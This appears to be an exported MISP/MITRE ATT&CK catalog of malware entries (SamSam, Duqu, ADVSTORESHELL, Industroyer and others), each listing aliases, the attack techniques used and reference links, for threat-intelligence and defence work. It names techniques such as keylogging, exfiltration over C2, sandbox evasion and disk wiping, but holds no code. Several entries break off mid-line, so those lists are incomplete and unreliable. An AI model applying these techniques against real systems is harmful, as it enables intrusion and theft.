The tag is: `misp-galaxy:mitre-malware="ASPXSpy - S0073"`

ASPXSpy - S0073 is also known as:

- ASPXSpy
- ASPXTool

View relationships graph

ASPXSpy - S0073 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 6702. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0073">https://attack.mitre.org/software/S0073</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage">https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage</a></td>
</tr>
</tbody>
</table>

**SamSam - S0370**

[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)
The tag is: `misp-galaxy:mitre-malware="SamSam - S0370"`

SamSam - S0370 is also known as:

- SamSam
- Samas

View relationships graph

SamSam - S0370 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"

Table 6703. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0370">https://attack.mitre.org/software/S0370</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/AA18-337A">https://www.us-cert.gov/ncas/alerts/AA18-337A</a></td>
</tr>
</tbody>
</table>

**StoneDrill - S0380**

StoneDrill - S0380 is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with [APT33](https://attack.mitre.org/groups/G0064).(Citation: FireEye APT33 Sept 2017)(Citation: Kaspersky StoneDrill 2017)

The tag is: `misp-galaxy:mitre-malware="StoneDrill - S0380"`

StoneDrill - S0380 is also known as:

- StoneDrill
- DROPSHOT
View relationships graph

StoneDrill - S0380 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

Table 6704. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0380">https://attack.mitre.org/software/S0380</a></td>
</tr>
</tbody>
</table>
Duqu - S0038

[Duqu](https://attack.mitre.org/software/S0038) is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)

The tag is: `misp-galaxy:mitre-malware="Duqu - S0038"`

Duqu - S0038 is also known as:

- Duqu

View relationships graph

Duqu - S0038 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"` with
Table 6705. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0038">https://attack.mitre.org/software/S0038</a></td>
</tr>
</tbody>
</table>

**Misdat - S0083**

[Misdat](https://attack.mitre.org/software/S0083) is a backdoor that was used in [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) from 2010 to 2011. (Citation: Cylance Dust Storm)

The tag is: **misp-galaxy:mitre-malware="Misdat - S0083"**

Misdat - S0083 is also known as:

- Misdat

View relationships graph

Misdat - S0083 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"**
- uses: **misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"**
• uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Misdat" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6706. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0083">https://attack.mitre.org/software/S0083</a></td>
</tr>
</tbody>
</table>

**Adups - S0309**

[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a
Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)

The tag is: **misp-galaxy:mitre-malware="Adups - S0309"**

View relationships graph

**Adups - S0309** has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Call Log - T1636.002"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"** with estimative-language:likelihood-probability="almost-certain"

**Table 6707. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0309">https://attack.mitre.org/software/S0309</a></td>
</tr>
</tbody>
</table>

**SQLRat - S0390**

[SQLRat](https://attack.mitre.org/software/S0390) is malware that executes SQL scripts to avoid leaving traditional host artifacts. [FIN7](https://attack.mitre.org/groups/G0046) has been observed using it. (Citation: Flashpoint FIN 7 March 2019)

The tag is: **misp-galaxy:mitre-malware="SQLRat - S0390"**

SQLRat - S0390 is also known as:

- SQLRat

View relationships graph

**SQLRat - S0390** has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"** with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6708. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0390">https://attack.mitre.org/software/S0390</a></td>
<td></td>
</tr>
</tbody>
</table>

**JHUHUGIT - S0044**

[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="JHUHUGIT - S0044"*

JHUHUGIT - S0044 is also known as:

- JHUHUGIT
- Trojan.Sofacy
- Seduploader
- JKEYSKW
- Sednit
- GAMEFISH
- SofacyCarberp

View relationships graph

JHUHUGIT - S0044 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0044">https://attack.mitre.org/software/S0044</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/">https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/</a></td>
</tr>
</tbody>
</table>

**SHARPSTATS - S0450**

[SHARPSTATS](https://attack.mitre.org/software/S0450) is a .NET backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2019.(Citation: TrendMicro POWERSTATS V3 June 2019)

The tag is: **misp-galaxy:mitre-malware="SHARPSTATS - S0450"**

SHARPSTATS - S0450 is also known as:

- SHARPSTATS

View relationships graph

SHARPSTATS - S0450 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6710. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0450">https://attack.mitre.org/software/S0450</a></td>
</tr>
</tbody>
</table>

ADVSTORESHELL - S0045

[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)

The tag is: misp-galaxy:mitre-malware="ADVSTORESHELL - S0045"

ADVSTORESHELL - S0045 is also known as:

• ADVSTORESHELL

• AZZY

• EVILTOSS

• NETUI

• Sedreco

View relationships graph

ADVSTORESHELL - S0045 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="EVILTOSS" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 6711. Table References
Asacub - S0540

Asacub (https://attack.mitre.org/software/S0540) is a banking trojan that attempts to steal money from victims' bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.(Citation: Securelist Asacub)

The tag is: misp-galaxy:mitre-malware="Asacub - S0540"

Asacub - S0540 is also known as:

- Asacub
- Trojan-SMS.AndroidOS.Smaps

View relationships graph

Asacub - S0540 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1532" with estimative-
Anchor - S0504

[Anchor](https://attack.mitre.org/software/S0504) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://attack.mitre.org/software/S0266) on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)

The tag is: *misp-galaxy:mitre-malware="Anchor - S0504"*

Anchor - S0504 is also known as:

- Anchor
- Anchor_DNS

View relationships graph

Anchor - S0504 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-
CloudDuke - S0054

[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)

The tag is: misp-galaxy:mitre-malware="CloudDuke - S0054"

CloudDuke - S0054 is also known as:

- CloudDuke
- MiniDionis
CloudDuke - S0054 has relationships with:

- **uses**: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- **uses**: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- **uses**: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

---

**Table 6714. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0054">https://attack.mitre.org/software/S0054</a></td>
</tr>
</tbody>
</table>

---

**Exodus - S0405**

[Exodus](https://attack.mitre.org/software/S0405) is Android spyware deployed in two distinct stages named Exodus One (dropper) and Exodus Two (payload).(Citation: SWB Exodus March 2019)

The tag is: **misp-galaxy:mitre-malware="Exodus - S0405"**

Exodus - S0405 is also known as:

- Exodus
- Exodus One
- Exodus Two

---

Exodus - S0405 has relationships with:

- **uses**: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- **uses**: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"
- **uses**: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"
- **uses**: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- **uses**: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-
Avaddon - S0640

[Avaddon](https://attack.mitre.org/software/S0640) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.(Citation: Awake Security Avaddon)(Citation: Arxiv Avaddon Feb 2021)

The tag is: *misp-galaxy:mitre-malware="Avaddon - S0640"*

Avaddon - S0640 is also known as:
Avaddon

View relationships graph

Avaddon - S0640 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 6716. Table References
CozyCar - S0046

[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)

The tag is: *misp-galaxy:mitre-malware*="CozyCar - S0046"

CozyCar - S0046 is also known as:

- CozyCar
- CozyDuke
- CozyBear
- Cozer
- EuroAPT

View relationships graph

CozyCar - S0046 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern*="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern*="Obfuscated Files or Information - T1027" with
• uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 6717. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0046">https://attack.mitre.org/software/S0046</a></td>
</tr>
</tbody>
</table>

**ELMER - S0064**

[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-malware="ELMER - S0064"*

ELMER - S0064 is also known as:

- ELMER

View relationships graph

ELMER - S0064 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 6718. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0064">https://attack.mitre.org/software/S0064</a></td>
</tr>
</tbody>
</table>
Gustuff - S0406

[Gustuff](https://attack.mitre.org/software/S0406) is mobile malware designed to steal users’ banking and virtual currency credentials. (Citation: Talos Gustuff Apr 2019)

The tag is: `misp-galaxy:mitre-malware="Gustuff - S0406"`

Gustuff - S0406 is also known as:

- Gustuff

View relationships graph

Gustuff - S0406 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Input Injection - T1516"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Contact List - T1636.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6719. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0406">https://attack.mitre.org/software/S0406</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html">https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html</a></td>
</tr>
</tbody>
</table>

**Industroyer - S0604**

[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations. (Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016. (Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid. (Citation: Dragos Crashoverride 2018)

The tag is: **misp-galaxy:mitre-malware="Industroyer - S0604"**

Industroyer - S0604 is also known as:

- Industroyer
- CRASHOVERRIDE
- Win32/Industroyer

View relationships graph

Industroyer - S0604 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

